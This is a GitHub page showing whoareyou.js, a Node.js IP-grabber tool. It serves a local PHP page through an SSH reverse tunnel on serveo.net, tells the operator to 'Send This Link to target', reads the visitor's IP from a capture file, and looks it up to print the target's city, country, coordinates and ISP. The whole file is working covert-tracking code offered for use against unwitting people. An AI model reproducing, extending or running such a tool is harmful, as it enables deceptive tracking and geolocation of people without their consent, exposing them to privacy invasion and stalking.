-
Notifications
You must be signed in to change notification settings - Fork 2
/
whoareyou.js
39 lines (39 loc) · 1.83 KB
/
whoareyou.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
var fs = require("fs");
var sh = require("shelljs");
var war = require("colors");
var r = require("readline");
var req = require("request");
var load = require("ora");
var box = require("boxen");
console.log(war.green(box(" [-=- About -=-]\n" + "[=====================]\n" + "Coder : Fajar Firdaus\n" + "FB : Fajar Firdaus\n" + "IG : fajar_firdaus_7\n" + "YT : iTech7732\n" + "Github : FajarTheGGman\n" + "[=====================]", {padding: 1})))
console.log(war.red("[!] Report Error to my social media"))
const ad = r.createInterface({
input : process.stdin,
output : process.stdout
});
console.log(war.green("\n[ Who Are You ] By Fajar Firdaus\n"));
var x = war.rainbow("Input Name Website : ");
sh.exec("php -S localhost:8888 > /dev/null 2>&1 &");
ad.question(x, (e) => {
sh.exec("ssh -o ServerAliveInterval=60 -R "+ `${e}` +":80:localhost:8888 serveo.net > /dev/null 2>&1 &");
console.log(war.blue("[>] Send This Link to target : " + `${e}` + "." + "serveo.net"));
load("Listening...\n").start();
fs.watchFile("hasil.txt", function(current, previous){
var r = fs.readFileSync("hasil.txt", "utf8");
var m = r.substr(0, 15) || r.substr(0, 12);
req("http://ip-api.com/json/" + m, function(error, response, body){
js = JSON.parse(body)
console.log(war.green("[IP] " + m));
console.log(war.rainbow("––––––––––––––––––"))
console.log(war.blue("City : " + js["city"]));
console.log(war.blue("Country : " + js["country"]));
console.log(war.blue("IP : " + js["query"]));
console.log(war.blue("Timezone : " + js["timezone"]));
console.log(war.blue("Latitude : " + js["lat"]));
console.log(war.blue("Longtitude : " + js["lon"]));
console.log(war.blue("ISP : " + js["isp"]));
console.log(war.rainbow("––––––––––––––––––\n"));
console.log(war.red("[!] Type ctrl + c to exit\n"));
});
});
});